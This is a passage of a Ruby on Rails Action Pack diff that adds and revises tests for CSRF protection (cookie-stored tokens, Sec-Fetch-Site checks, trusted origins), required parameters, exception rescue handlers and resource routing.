+class CookieCsrfTokenStorageStrategyControllerTest < ActionController::TestCase
+  include RequestForgeryProtectionTests
+
+  class TestSession < ActionController::TestSession
+    attr_reader :id_was
+
+    def initialize(id_was)
+      super()
+      @id_was = id_was
+    end
+  end
+
+  class NullSessionDummyKeyGenerator
+    def generate_key(secret, length = nil)
+      "03312270731a2ed0d11ed091c2338a06"
+    end
+  end
+
+  def setup
+    @request.env[ActionDispatch::Cookies::GENERATOR_KEY] = NullSessionDummyKeyGenerator.new
+    @request.env[ActionDispatch::Cookies::COOKIES_ROTATIONS] = ActiveSupport::Messages::RotationConfiguration.new
+    super
+  end
+
+  def test_csrf_token_is_stored_in_cookie
+    get :cookie
+    assert_not session.key?(:_csrf_token)
+    assert cookies.key?(:csrf_token)
+  end
+
+  def test_csrf_token_is_stored_in_custom_cookie
+    @controller.csrf_token_storage_strategy =
+      ActionController::RequestForgeryProtection::CookieStore.new(:custom_cookie)
+    get :cookie
+    assert_not cookies.key?(:csrf_token)
+    assert cookies.key?(:custom_cookie)
+  end
+
+  def test_csrf_token_cookie_has_same_site_lax
+    get :cookie
+    assert_set_cookie_attributes("csrf_token", "SameSite=Lax")
+  end
+
+  include CookieAssertions
+
+  def test_csrf_token_cookie_is_http_only
+    get :cookie
+
+    cookies = parse_set_cookies_headers(@response.headers["Set-Cookie"])
+    csrf_token_cookie = cookies["csrf_token"]
+    assert csrf_token_cookie["httponly"]
+  end
+
+  def test_csrf_token_cookie_is_permanent
+    get :cookie
+    assert_match(%r(#{20.years.from_now.utc.year}), @response.headers["Set-Cookie"])
+  end
+
+  def test_reset_csrf_token_deletes_cookie
+    get :cookie
+    get :reset
+    assert_nil cookies[:csrf_token]
+  end
+
+  def test_should_allow_when_session_id_in_cookie_matches_session_id
+    initialize_csrf_token
+
+    @controller.stub :form_authenticity_token, @token do
+      assert_not_blocked { post :index, params: { custom_authenticity_token: @token } }
+    end
+  end
+
+  def test_should_not_allow_when_session_id_in_cookie_does_not_match_session_id
+    initialize_csrf_token(@token, ActionController::TestSession.new)
+
+    @controller.stub :form_authenticity_token, @token do
+      assert_blocked { post :index, params: { custom_authenticity_token: @token } }
+    end
+  end
+
+  def test_should_allow_when_session_id_in_cookie_and_session_id_are_nil
+    @request.session = ActionController::TestSession.new({}, nil)
+    initialize_csrf_token(@token, nil)
+
+    @controller.stub :form_authenticity_token, @token do
+      assert_not_blocked { post :index, params: { custom_authenticity_token: @token } }
+    end
+  end
+
+  def test_should_not_allow_when_session_id_in_cookie_but_session_id_is_nil
+    initialize_csrf_token
+    @request.session = ActionController::TestSession.new({}, nil)
+
+    @controller.stub :form_authenticity_token, @token do
+      assert_blocked { post :index, params: { custom_authenticity_token: @token } }
+    end
+  end
+
+  def test_should_allow_when_session_id_in_cookie_is_nil_and_session_created_before_token_validation
+    initialize_csrf_token(@token, nil)
+    @request.session = TestSession.new(nil)
+
+    @controller.stub :form_authenticity_token, @token do
+      assert_not_blocked { post :index, params: { custom_authenticity_token: @token } }
+    end
+  end
+
+  def test_should_allow_when_session_id_in_cookie_is_nil_and_session_reset_before_token_validation
+    initialize_csrf_token
+    @request.session = TestSession.new(session.id)
+
+    @controller.stub :form_authenticity_token, @token do
+      assert_not_blocked { post :index, params: { custom_authenticity_token: @token } }
+    end
+  end
+
+  def test_should_not_allow_when_session_id_in_cookie_but_request_made_with_no_session
+    initialize_csrf_token
+    @request.session = TestSession.new(nil)
+
+    @controller.stub :form_authenticity_token, @token do
+      assert_blocked { post :index, params: { custom_authenticity_token: @token } }
+    end
+  end
+
+  def initialize_csrf_token(token = @token, session = self.session)
+    cookies.encrypted[:csrf_token] = {
+      value: {
+        token: token,
+        session_id: session&.id,
+      }.to_json,
+      httponly: true,
+      same_site: :lax,
+    }
+  end
+
+  def fetch_csrf_token
+    contents = request.cookie_jar.encrypted[:csrf_token]
+    return nil if contents.nil?
+
+    value = JSON.parse(contents)
+    return nil unless value["session_id"]&.fetch("public_id") == request.session.id_was&.public_id
+
+    value["token"]
+  end
+
+  def assert_blocked(&block)
+    assert_raises(ActionController::InvalidCrossOriginRequest, &block)
+  end
+
+  def assert_origin_blocked(&block)
+    assert_raises(ActionController::InvalidCrossOriginRequest, &block)
+  end
+
+  def assert_not_blocked(&block)
+    assert_nothing_raised(&block)
+    assert_response :success
+  end
+end
+
+class CustomCsrfTokenStorageStrategyControllerTest < ActionController::TestCase
+  include RequestForgeryProtectionTests
+
+  def test_csrf_token_is_stored_in_custom_location
+    post :index
+    @controller.commit_csrf_token(@request)
+    assert_not session.key?(:_csrf_token)
+    assert_not_nil request.env[:custom_storage]
+  end
+
+  def initialize_csrf_token(token = @token)
+    request.env[:custom_storage] = token
+  end
+end
+
+# Controllers for testing header_only and header_or_legacy_token verification strategies
+class HeaderOnlyProtectionController < ActionController::Base
+  include RequestForgeryProtectionActions
+  protect_from_forgery using: :header_only, with: :exception
+end
+
+class HeaderOrLegacyTokenProtectionController < ActionController::Base
+  include RequestForgeryProtectionActions
+  protect_from_forgery with: :exception
+end
+
+class HeaderOnlyProtectionControllerTest < ActionController::TestCase
+  def setup
+    @old_request_forgery_protection_token = ActionController::Base.request_forgery_protection_token
+    ActionController::Base.request_forgery_protection_token = :custom_authenticity_token
+  end
+
+  def teardown
+    ActionController::Base.request_forgery_protection_token = @old_request_forgery_protection_token
+  end
+
+  test "allows GET requests without Sec-Fetch-Site header" do
+    get :index
+    assert_response :success
+  end
+
+  test "allows HEAD requests without Sec-Fetch-Site header" do
+    head :index
+    assert_response :success
+  end
+
+  test "allows POST with same-origin Sec-Fetch-Site" do
+    @request.set_header "HTTP_SEC_FETCH_SITE", "same-origin"
+    post :index
+    assert_response :success
+  end
+
+  test "allows POST with same-site Sec-Fetch-Site" do
+    @request.set_header "HTTP_SEC_FETCH_SITE", "same-site"
+    post :index
+    assert_response :success
+  end
+
+  test "blocks POST with cross-site Sec-Fetch-Site" do
+    @request.set_header "HTTP_SEC_FETCH_SITE", "cross-site"
+    assert_raises(ActionController::InvalidCrossOriginRequest) do
+      post :index
+    end
+  end
+
+  test "blocks POST with missing Sec-Fetch-Site header" do
+    assert_raises(ActionController::InvalidCrossOriginRequest) do
+      post :index
+    end
+  end
+
+  test "blocks POST with none Sec-Fetch-Site" do
+    @request.set_header "HTTP_SEC_FETCH_SITE", "none"
+    assert_raises(ActionController::InvalidCrossOriginRequest) do
+      post :index
+    end
+  end
+
+  test "Sec-Fetch-Site check is case insensitive" do
+    @request.set_header "HTTP_SEC_FETCH_SITE", "Same-Origin"
+    post :index
+    assert_response :success
+  end
+
+  test "appends Sec-Fetch-Site to Vary header" do
+    @request.set_header "HTTP_SEC_FETCH_SITE", "same-origin"
+    get :index
+    assert_includes response.headers["Vary"], "Sec-Fetch-Site"
+  end
+
+  test "appends Sec-Fetch-Site to existing Vary header" do
+    @request.set_header "HTTP_SEC_FETCH_SITE", "same-origin"
+    @request.set_header "HTTP_ACCEPT", "text/html"
+    get :index
+
+    vary_values = response.headers["Vary"].split(",").map(&:strip)
+    assert_includes vary_values, "Sec-Fetch-Site"
+  end
+
+  test "does not duplicate Sec-Fetch-Site in Vary header" do
+    @request.set_header "HTTP_SEC_FETCH_SITE", "same-origin"
+    get :index
+    get :index
+
+    vary_values = response.headers["Vary"].split(",").map(&:strip)
+    sec_fetch_site_count = vary_values.count("Sec-Fetch-Site")
+    assert_equal 1, sec_fetch_site_count
+  end
+
+  test "blocks POST with wrong Origin even with valid Sec-Fetch-Site" do
+    forgery_protection_origin_check do
+      @request.set_header "HTTP_SEC_FETCH_SITE", "same-origin"
+      @request.set_header "HTTP_ORIGIN", "http://bad.host"
+      assert_raises(ActionController::InvalidCrossOriginRequest) do
+        post :index
+      end
+    end
+  end
+
+  private
+    def forgery_protection_origin_check
+      old_setting = ActionController::Base.forgery_protection_origin_check
+      ActionController::Base.forgery_protection_origin_check = true
+      begin
+        yield
+      ensure
+        ActionController::Base.forgery_protection_origin_check = old_setting
+      end
+    end
+end
+
+class HeaderOrLegacyTokenProtectionControllerTest < ActionController::TestCase
+  def setup
+    @token = Base64.urlsafe_encode64("railstestrailstestrailstestrails")
+    @old_request_forgery_protection_token = ActionController::Base.request_forgery_protection_token
+    ActionController::Base.request_forgery_protection_token = :custom_authenticity_token
+  end
+
+  def teardown
+    ActionController::Base.request_forgery_protection_token = @old_request_forgery_protection_token
+  end
+
+  test "allows GET requests" do
+    get :index
+    assert_response :success
+  end
+
+  test "allows HEAD requests" do
+    head :index
+    assert_response :success
+  end
+
+  test "allows POST with same-origin Sec-Fetch-Site" do
+    @request.set_header "HTTP_SEC_FETCH_SITE", "same-origin"
+    post :index
+    assert_response :success
+  end
+
+  test "allows POST with same-site Sec-Fetch-Site" do
+    @request.set_header "HTTP_SEC_FETCH_SITE", "same-site"
+    post :index
+    assert_response :success
+  end
+
+  test "blocks POST with cross-site Sec-Fetch-Site" do
+    @request.set_header "HTTP_SEC_FETCH_SITE", "cross-site"
+    assert_raises(ActionController::InvalidCrossOriginRequest) do
+      post :index
+    end
+  end
+
+  test "allows POST with missing Sec-Fetch-Site and valid token" do
+    initialize_csrf_token
+    @controller.stub :form_authenticity_token, @token do
+      post :index, params: { custom_authenticity_token: @token }
+      assert_response :success
+    end
+  end
+
+  test "blocks POST with missing Sec-Fetch-Site without token" do
+    assert_raises(ActionController::InvalidCrossOriginRequest) do
+      post :index
+    end
+  end
+
+  test "allows POST with none Sec-Fetch-Site and valid token" do
+    initialize_csrf_token
+    @request.set_header "HTTP_SEC_FETCH_SITE", "none"
+    @controller.stub :form_authenticity_token, @token do
+      post :index, params: { custom_authenticity_token: @token }
+      assert_response :success
+    end
+  end
+
+  test "blocks POST with none Sec-Fetch-Site without token" do
+    @request.set_header "HTTP_SEC_FETCH_SITE", "none"
+    assert_raises(ActionController::InvalidCrossOriginRequest) do
+      post :index
+    end
+  end
+
+  test "blocks POST with wrong Origin even with valid Sec-Fetch-Site" do
+    forgery_protection_origin_check do
+      @request.set_header "HTTP_SEC_FETCH_SITE", "same-origin"
+      @request.set_header "HTTP_ORIGIN", "http://bad.host"
+      assert_raises(ActionController::InvalidCrossOriginRequest) do
+        post :index
+      end
+    end
+  end
+
+  test "logs warning when falling back to CSRF token" do
+    initialize_csrf_token
+    @controller.stub :form_authenticity_token, @token do
+      post :index, params: { custom_authenticity_token: @token }
+      assert_response :success
+    end
+  end
+
+  test "does not log warning when Sec-Fetch-Site is same-origin" do
+    @request.set_header "HTTP_SEC_FETCH_SITE", "same-origin"
+    post :index
+    assert_response :success
+  end
+
+  test "appends Sec-Fetch-Site to Vary header" do
+    @request.set_header "HTTP_SEC_FETCH_SITE", "same-origin"
+    get :index
+    assert_includes response.headers["Vary"], "Sec-Fetch-Site"
+  end
+
+  test "Sec-Fetch-Site check is case insensitive" do
+    @request.set_header "HTTP_SEC_FETCH_SITE", "Same-Site"
+    post :index
+    assert_response :success
+  end
+
+  private
+    def initialize_csrf_token(token = @token, session = self.session)
+      session[:_csrf_token] = token
+    end
+
+    def forgery_protection_origin_check
+      old_setting = ActionController::Base.forgery_protection_origin_check
+      ActionController::Base.forgery_protection_origin_check = true
+      begin
+        yield
+      ensure
+        ActionController::Base.forgery_protection_origin_check = old_setting
+      end
+    end
+end
+
+class ConfiguredVerificationStrategyTest < ActiveSupport::TestCase
+  test "protect_from_forgery respects configured verification strategy when :using is not provided" do
+    old_strategy = ActionController::Base.forgery_protection_verification_strategy
+    assert_equal :header_or_legacy_token, old_strategy
+
+    ActionController::Base.forgery_protection_verification_strategy = :header_only
+
+    controller_class = Class.new(ActionController::Base) do
+      include RequestForgeryProtectionActions
+      protect_from_forgery with: :exception
+    end
+
+    assert_equal :header_only, controller_class.forgery_protection_verification_strategy
+  ensure
+    ActionController::Base.forgery_protection_verification_strategy = old_strategy
+  end
+end
+
+class InvalidVerificationStrategyTest < ActionController::TestCase
+  def test_raises_argument_error_for_invalid_using_option
+    assert_raises(ArgumentError) do
+      Class.new(ActionController::Base) do
+        protect_from_forgery using: :invalid_strategy
+      end
+    end
+  end
+
+  def test_raises_argument_error_for_authenticity_token_option
+    assert_raises(ArgumentError) do
+      Class.new(ActionController::Base) do
+        protect_from_forgery using: :authenticity_token
+      end
+    end
+  end
+end
+
+
+class TrustedOriginsHeaderOnlyController < ActionController::Base
+  include RequestForgeryProtectionActions
+  protect_from_forgery using: :header_only, with: :exception,
+    trusted_origins: ["https://trusted.example.com", "https://oauth.provider.com"]
+end
+
+class TrustedOriginsHeaderOrLegacyTokenController < ActionController::Base
+  include RequestForgeryProtectionActions
+  protect_from_forgery with: :exception,
+    trusted_origins: ["https://trusted.example.com"]
+end
+
+class TrustedOriginsHeaderOnlyControllerTest < ActionController::TestCase
+  def setup
+    @old_request_forgery_protection_token = ActionController::Base.request_forgery_protection_token
+    ActionController::Base.request_forgery_protection_token = :custom_authenticity_token
+  end
+
+  def teardown
+    ActionController::Base.request_forgery_protection_token = @old_request_forgery_protection_token
+  end
+
+  test "allows cross-site POST from trusted origin" do
+    @request.set_header "HTTP_SEC_FETCH_SITE", "cross-site"
+    @request.set_header "HTTP_ORIGIN", "https://trusted.example.com"
+    post :index
+    assert_response :success
+  end
+
+  test "allows cross-site POST from another trusted origin" do
+    @request.set_header "HTTP_SEC_FETCH_SITE", "cross-site"
+    @request.set_header "HTTP_ORIGIN", "https://oauth.provider.com"
+    post :index
+    assert_response :success
+  end
+
+  test "blocks cross-site POST from untrusted origin" do
+    @request.set_header "HTTP_SEC_FETCH_SITE", "cross-site"
+    @request.set_header "HTTP_ORIGIN", "https://untrusted.example.com"
+    assert_raises(ActionController::InvalidCrossOriginRequest) do
+      post :index
+    end
+  end
+
+  test "blocks cross-site POST without origin header" do
+    @request.set_header "HTTP_SEC_FETCH_SITE", "cross-site"
+    assert_raises(ActionController::InvalidCrossOriginRequest) do
+      post :index
+    end
+  end
+
+  test "still allows same-origin requests" do
+    @request.set_header "HTTP_SEC_FETCH_SITE", "same-origin"
+    post :index
+    assert_response :success
+  end
+
+  test "still allows same-site requests" do
+    @request.set_header "HTTP_SEC_FETCH_SITE", "same-site"
+    post :index
+    assert_response :success
+  end
+end
+
+class TrustedOriginsHeaderOrLegacyTokenControllerTest < ActionController::TestCase
+  def setup
+    @old_request_forgery_protection_token = ActionController::Base.request_forgery_protection_token
+    ActionController::Base.request_forgery_protection_token = :custom_authenticity_token
+  end
+
+  def teardown
+    ActionController::Base.request_forgery_protection_token = @old_request_forgery_protection_token
+  end
+
+  test "allows cross-site POST from trusted origin" do
+    @request.set_header "HTTP_SEC_FETCH_SITE", "cross-site"
+    @request.set_header "HTTP_ORIGIN", "https://trusted.example.com"
+    post :index
+    assert_response :success
+  end
+
+  test "blocks cross-site POST from untrusted origin" do
+    @request.set_header "HTTP_SEC_FETCH_SITE", "cross-site"
+    @request.set_header "HTTP_ORIGIN", "https://untrusted.example.com"
+    assert_raises(ActionController::InvalidCrossOriginRequest) do
+      post :index
+    end
+  end
+end
+
+class InvalidAuthenticityTokenDeprecationTest < ActiveSupport::TestCase
+  test "InvalidAuthenticityToken is deprecated" do
+    assert_deprecated("ActionController::InvalidAuthenticityToken has been deprecated", ActionController.deprecator) do
+      ActionController::InvalidAuthenticityToken
+    end
+  end
+
+  test "InvalidAuthenticityToken resolves to InvalidCrossOriginRequest" do
+    assert_deprecated(ActionController.deprecator) do
+      assert_equal ActionController::InvalidCrossOriginRequest, ActionController::InvalidAuthenticityToken
+    end
+  end
+
+  test "can rescue InvalidCrossOriginRequest with deprecated InvalidAuthenticityToken" do
+    assert_deprecated(ActionController.deprecator) do
+      assert_nothing_raised do
+        raise ActionController::InvalidCrossOriginRequest
+      rescue ActionController::InvalidAuthenticityToken
+      end
+    end
+  end
 end
diff --git a/actionpack/test/controller/required_params_test.rb b/actionpack/test/controller/required_params_test.rb
index dd07c2486bf88..21b7d6df2ba2f 100644
--- a/actionpack/test/controller/required_params_test.rb
+++ b/actionpack/test/controller/required_params_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class BooksController < ActionController::Base
@@ -20,6 +22,18 @@ class ActionControllerRequiredParamsTest < ActionController::TestCase
     end
   end
 
+  test "exceptions have suggestions for fix" do
+    error = assert_raise ActionController::ParameterMissing do
+      post :create, params: { boko: { name: "Mjallo!" } }
+    end
+    assert_match "Did you mean?", error.detailed_message
+
+    error = assert_raise ActionController::ParameterMissing do
+      post :create, params: { book: { naem: "Mjallo!" } }
+    end
+    assert_match "Did you mean?", error.detailed_message
+  end
+
   test "required parameters that are present will not raise" do
     post :create, params: { book: { name: "Mjallo!" } }
     assert_response :ok
@@ -72,9 +86,27 @@ class ParametersRequireTest < ActiveSupport::TestCase
     assert params.value?("cinco")
   end
 
-  test "to_query is not supported" do
-    assert_raises(NoMethodError) do
-      ActionController::Parameters.new(foo: "bar").to_param
+  test "to_param works like in a Hash" do
+    params = ActionController::Parameters.new(nested: { key: "value" }).permit!
+    assert_equal({ nested: { key: "value" } }.to_param, params.to_param)
+
+    params = { root: ActionController::Parameters.new(nested: { key: "value" }).permit! }
+    assert_equal({ root: { nested: { key: "value" } } }.to_param, params.to_param)
+
+    assert_raise(ActionController::UnfilteredParameters) do
+      ActionController::Parameters.new(nested: { key: "value" }).to_param
+    end
+  end
+
+  test "to_query works like in a Hash" do
+    params = ActionController::Parameters.new(nested: { key: "value" }).permit!
+    assert_equal({ nested: { key: "value" } }.to_query, params.to_query)
+
+    params = { root: ActionController::Parameters.new(nested: { key: "value" }).permit! }
+    assert_equal({ root: { nested: { key: "value" } } }.to_query, params.to_query)
+
+    assert_raise(ActionController::UnfilteredParameters) do
+      ActionController::Parameters.new(nested: { key: "value" }).to_query
     end
   end
 end
diff --git a/actionpack/test/controller/rescue_test.rb b/actionpack/test/controller/rescue_test.rb
index 9ae22c4554e04..642e16e49e57e 100644
--- a/actionpack/test/controller/rescue_test.rb
+++ b/actionpack/test/controller/rescue_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class RescueController < ActionController::Base
@@ -31,7 +33,9 @@ class ResourceUnavailable < StandardError
   class ResourceUnavailableToRescueAsString < StandardError
   end
 
-  # We use a fully-qualified name in some strings, and a relative constant
+  wrap_parameters format: :json
+
+  # We use a fully qualified name in some strings, and a relative constant
   # name in some other to test correct handling of both cases.
 
   rescue_from NotAuthorized, with: :deny_access
@@ -60,12 +64,8 @@ class ResourceUnavailableToRescueAsString < StandardError
     render plain: exception.message
   end
 
-  rescue_from ActionView::TemplateError do
-    render plain: "action_view templater error"
-  end
-
-  rescue_from IOError do
-    render plain: "io error"
+  rescue_from ActionDispatch::Http::Parameters::ParseError do
+    render plain: "parse error", status: :bad_request
   end
 
   before_action(only: :before_action_raises) { raise "umm nice" }
@@ -73,19 +73,6 @@ class ResourceUnavailableToRescueAsString < StandardError
   def before_action_raises
   end
 
-  def raises
-    render plain: "already rendered"
-    raise "don't panic!"
-  end
-
-  def method_not_allowed
-    raise ActionController::MethodNotAllowed.new(:get, :head, :put)
-  end
-
-  def not_implemented
-    raise ActionController::NotImplemented.new(:get, :put)
-  end
-
   def not_authorized
     raise NotAuthorized
   end
@@ -128,6 +115,11 @@ def resource_unavailable_raise_as_string
     raise ResourceUnavailableToRescueAsString
   end
 
+  def arbitrary_action
+    params
+    render plain: "arbitrary action"
+  end
+
   def missing_template
   end
 
@@ -155,7 +147,7 @@ def deny_access
     end
 
     def show_errors(exception)
-      head :unprocessable_entity
+      head ActionDispatch::Constants::UNPROCESSABLE_CONTENT
     end
 end
 
@@ -297,13 +289,29 @@ def test_block_rescue_handler_with_argument_as_string
 
   test "rescue when cause has more specific handler than wrapper" do
     get :exception_with_more_specific_handler_for_cause
-    assert_response :unprocessable_entity
+    assert_response ActionDispatch::Constants::UNPROCESSABLE_CONTENT
   end
 
-  test "rescue when cause has handler, but wrapper doesnt" do
+  test "rescue when cause has handler, but wrapper doesn't" do
     get :exception_with_no_handler_for_wrapper
-    assert_response :unprocessable_entity
+    assert_response ActionDispatch::Constants::UNPROCESSABLE_CONTENT
   end
+
+  test "can rescue a ParseError" do
+    capture_log_output do
+      post :arbitrary_action, body: "{", as: :json
+    end
+    assert_response :bad_request
+    assert_equal "parse error", response.body
+  end
+
+  private
+    def capture_log_output
+      output = StringIO.new
+      request.set_header "action_dispatch.logger", ActiveSupport::Logger.new(output)
+      yield
+      output.string
+    end
 end
 
 class RescueTest < ActionDispatch::IntegrationTest
@@ -323,10 +331,6 @@ def invalid
       raise RecordInvalid
     end
 
-    def b00m
-      raise "b00m"
-    end
-
     private
       def show_errors(exception)
         render plain: exception.message
@@ -348,13 +352,11 @@ def show_errors(exception)
   end
 
   private
-
     def with_test_routing
       with_routing do |set|
         set.draw do
           get "foo", to: ::RescueTest::TestController.action(:foo)
           get "invalid", to: ::RescueTest::TestController.action(:invalid)
-          get "b00m", to: ::RescueTest::TestController.action(:b00m)
         end
         yield
       end
diff --git a/actionpack/test/controller/resources_test.rb b/actionpack/test/controller/resources_test.rb
index fad34dacce731..dc20b0deab21c 100644
--- a/actionpack/test/controller/resources_test.rb
+++ b/actionpack/test/controller/resources_test.rb
@@ -1,7 +1,7 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
-require "active_support/core_ext/object/try"
 require "active_support/core_ext/object/with_options"
-require "active_support/core_ext/array/extract_options"
 
 class AdminController < ResourcesController; end
 class MessagesController < ResourcesController; end
@@ -18,6 +18,10 @@ class ImagesController < ResourcesController; end
   end
 end
 
+module Products
+  class ImagesController < ResourcesController; end
+end
+
 class ResourcesTest < ActionController::TestCase
   def test_default_restful_routes
     with_restful_routing :messages do
@@ -34,7 +38,6 @@ def test_override_paths_for_member_and_collection_methods
         collection: collection_methods,
         member: member_methods,
         path_names: path_names do
-
       assert_restful_routes_for :messages,
           collection: collection_methods,
           member: member_methods,
@@ -56,7 +59,6 @@ def test_override_paths_for_member_and_collection_methods
           collection: collection_methods,
           member: member_methods,
           path_names: path_names do |options|
-
         collection_methods.each_key do |action|
           assert_named_route "/messages/#{path_names[action] || action}", "#{action}_messages_path", action: action
         end
@@ -64,7 +66,6 @@ def test_override_paths_for_member_and_collection_methods
         member_methods.each_key do |action|
           assert_named_route "/messages/1/#{path_names[action] || action}", "#{action}_message_path", action: action, id: "1"
         end
-
       end
     end
   end
@@ -79,7 +80,7 @@ def test_multiple_default_restful_routes
   def test_multiple_resources_with_options
     expected_options = { controller: "threads", action: "index" }
 
-    with_restful_routing :messages, :comments, expected_options.slice(:controller) do
+    with_restful_routing :messages, :comments, controller: "threads" do
       assert_recognizes(expected_options, path: "comments")
       assert_recognizes(expected_options, path: "messages")
     end
@@ -305,7 +306,7 @@ def test_with_two_member_actions_with_same_method
         set.draw do
           resources :messages do
             member do
-              match :mark  , via: method
+              match :mark, via: method
               match :unmark, via: method
             end
           end
@@ -514,6 +515,23 @@ def test_shallow_nested_restful_routes_with_namespaces
     end
   end
 
+  def test_shallow_with_module
+    with_routing do |set|
+      set.draw do
+        resources :products do
+          resources :images, module: :products, shallow: true
+        end
+      end
+
+      assert_simply_restful_for :images,
+        controller: "products/images",
+        name_prefix: "product_",
+        path_prefix: "products/1/",
+        shallow: true,
+        options: { product_id: "1" }
+    end
+  end
+
   def test_restful_routes_dont_generate_duplicates
     with_restful_routing :messages do
       routes = @routes.routes
@@ -784,11 +802,11 @@ def test_multiple_with_path_segment_and_controller
     with_routing do |set|
       set.draw do
         resources :products do
-           resources :product_reviews, path: "reviews", controller: "messages"
-         end
+          resources :product_reviews, path: "reviews", controller: "messages"
+        end
         resources :tutors do
-           resources :tutor_reviews, path: "reviews", controller: "comments"
-         end
+          resources :tutor_reviews, path: "reviews", controller: "comments"
+        end
       end
 
       assert_simply_restful_for :product_reviews, controller: "messages", as: "reviews", name_prefix: "product_", path_prefix: "products/1/", options: { product_id: "1" }
@@ -819,6 +837,17 @@ def test_resource_has_only_show_action
     end
   end
 
+  def test_resource_has_only_show_action_with_string_value
+    with_routing do |set|
+      set.draw do
+        resources :products, only: "show"
+      end
+
+      assert_resource_allowed_routes("products", {}, { id: "1" }, :show, [:index, :new, :create, :edit, :update, :destroy])
+      assert_resource_allowed_routes("products", { format: "xml" }, { id: "1" }, :show, [:index, :new, :create, :edit, :update, :destroy])
+    end
+  end
+
   def test_singleton_resource_has_only_show_action
     with_routing do |set|
       set.draw do
@@ -830,6 +859,17 @@ def test_singleton_resource_has_only_show_action
     end
   end
 
+  def test_singleton_resource_has_only_show_action_with_string_value
+    with_routing do |set|
+      set.draw do
+        resource :account, only: "show"
+      end
+
+      assert_singleton_resource_allowed_routes("accounts", {}, :show, [:index, :new, :create, :edit, :update, :destroy])
+      assert_singleton_resource_allowed_routes("accounts", { format: "xml" }, :show, [:index, :new, :create, :edit, :update, :destroy])
+    end
+  end
+
   def test_resource_does_not_have_destroy_action
     with_routing do |set|
       set.draw do
@@ -852,6 +892,28 @@ def test_singleton_resource_does_not_have_destroy_action
     end
   end
 
+  def test_resource_has_show_action_but_does_not_have_destroy_action
+    with_routing do |set|
+      set.draw do
+        resources :products, only: [:show, :destroy], except: :destroy
+      end
+
+      assert_resource_allowed_routes("products", {},                    { id: "1" }, :show, [:index, :new, :create, :edit, :update, :destroy])
+      assert_resource_allowed_routes("products", { format: "xml" },  { id: "1" }, :show, [:index, :new, :create, :edit, :update, :destroy])
+    end
+  end
+
+  def test_singleton_resource_has_show_action_but_does_not_have_destroy_action
+    with_routing do |set|
+      set.draw do
+        resource :account, only: [:show, :destroy], except: :destroy
+      end
+
+      assert_singleton_resource_allowed_routes("accounts", {},                    :show, [:new, :create, :edit, :update, :destroy])
+      assert_singleton_resource_allowed_routes("accounts", { format: "xml" },  :show, [:new, :create, :edit, :update, :destroy])
+    end
+  end
+
   def test_resource_has_only_create_action_and_named_route
     with_routing do |set|
       set.draw do
@@ -941,8 +1003,8 @@ def test_resource_has_only_collection_action
       assert_resource_allowed_routes("products", {},                    { id: "1" }, [], [:index, :new, :create, :show, :edit, :update, :destroy])
       assert_resource_allowed_routes("products", { format: "xml" },  { id: "1" }, [], [:index, :new, :create, :show, :edit, :update, :destroy])
 
-      assert_recognizes({ controller: "products", action: "sale" },                   path: "products/sale",     method: :get)
-      assert_recognizes({ controller: "products", action: "sale", format: "xml" }, path: "products/sale.xml", method: :get)
+      assert_recognizes({ controller: "products", action: "sale" },                   { path: "products/sale",     method: :get })
+      assert_recognizes({ controller: "products", action: "sale", format: "xml" }, { path: "products/sale.xml", method: :get })
     end
   end
 
@@ -957,8 +1019,8 @@ def test_resource_has_only_member_action
       assert_resource_allowed_routes("products", {},                    { id: "1" }, [], [:index, :new, :create, :show, :edit, :update, :destroy])
       assert_resource_allowed_routes("products", { format: "xml" },  { id: "1" }, [], [:index, :new, :create, :show, :edit, :update, :destroy])
 
-      assert_recognizes({ controller: "products", action: "preview", id: "1" },                    path: "products/1/preview",      method: :get)
-      assert_recognizes({ controller: "products", action: "preview", id: "1", format: "xml" },  path: "products/1/preview.xml",  method: :get)
+      assert_recognizes({ controller: "products", action: "preview", id: "1" },                    { path: "products/1/preview",      method: :get })
+      assert_recognizes({ controller: "products", action: "preview", id: "1", format: "xml" },  { path: "products/1/preview.xml",  method: :get })
     end
   end
 
@@ -975,8 +1037,8 @@ def test_singleton_resource_has_only_member_action
       assert_singleton_resource_allowed_routes("accounts", {},                    [], [:new, :create, :show, :edit, :update, :destroy])
       assert_singleton_resource_allowed_routes("accounts", { format: "xml" },  [], [:new, :create, :show, :edit, :update, :destroy])
 
-      assert_recognizes({ controller: "accounts", action: "signup" },                   path: "account/signup",      method: :get)
-      assert_recognizes({ controller: "accounts", action: "signup", format: "xml" }, path: "account/signup.xml",  method: :get)
+      assert_recognizes({ controller: "accounts", action: "signup" },                   { path: "account/signup",      method: :get })
+      assert_recognizes({ controller: "accounts", action: "signup", format: "xml" }, { path: "account/signup.xml",  method: :get })
     end
   end
 
@@ -993,8 +1055,8 @@ def test_nested_resource_has_only_show_and_member_action
       assert_resource_allowed_routes("images", { product_id: "1" },                    { id: "2" }, :show, [:index, :new, :create, :edit, :update, :destroy], "products/1/images")
       assert_resource_allowed_routes("images", { product_id: "1", format: "xml" },  { id: "2" }, :show, [:index, :new, :create, :edit, :update, :destroy], "products/1/images")
 
-      assert_recognizes({ controller: "images", action: "thumbnail", product_id: "1", id: "2" },                    path: "products/1/images/2/thumbnail", method: :get)
-      assert_recognizes({ controller: "images", action: "thumbnail", product_id: "1", id: "2", format: "jpg" },  path: "products/1/images/2/thumbnail.jpg", method: :get)
+      assert_recognizes({ controller: "images", action: "thumbnail", product_id: "1", id: "2" },                    { path: "products/1/images/2/thumbnail", method: :get })
+      assert_recognizes({ controller: "images", action: "thumbnail", product_id: "1", id: "2", format: "jpg" },  { path: "products/1/images/2/thumbnail.jpg", method: :get })
     end
   end
 
@@ -1067,7 +1129,7 @@ def test_assert_routing_accepts_all_as_a_valid_method
         match "/products", to: "products#show", via: :all
       end
 
-      assert_routing({ method: "all", path: "/products" }, controller: "products", action: "show")
+      assert_routing({ method: "all", path: "/products" }, { controller: "products", action: "show" })
     end
   end
 
@@ -1078,7 +1140,7 @@ def test_assert_routing_fails_when_not_all_http_methods_are_recognized
       end
 
       assert_raises(Minitest::Assertion) do
-        assert_routing({ method: "all", path: "/products" }, controller: "products", action: "show")
+        assert_routing({ method: "all", path: "/products" }, { controller: "products", action: "show" })
       end
     end
   end
@@ -1089,22 +1151,65 @@ def test_singleton_resource_name_is_not_singularized
     end
   end
 
+  def test_invalid_only_option_for_resources
+    expected_message = "Route `resources :products` - :only and :except must include only [:index, :create, :new, :show, :update, :destroy, :edit], but also included [:foo, :bar]"
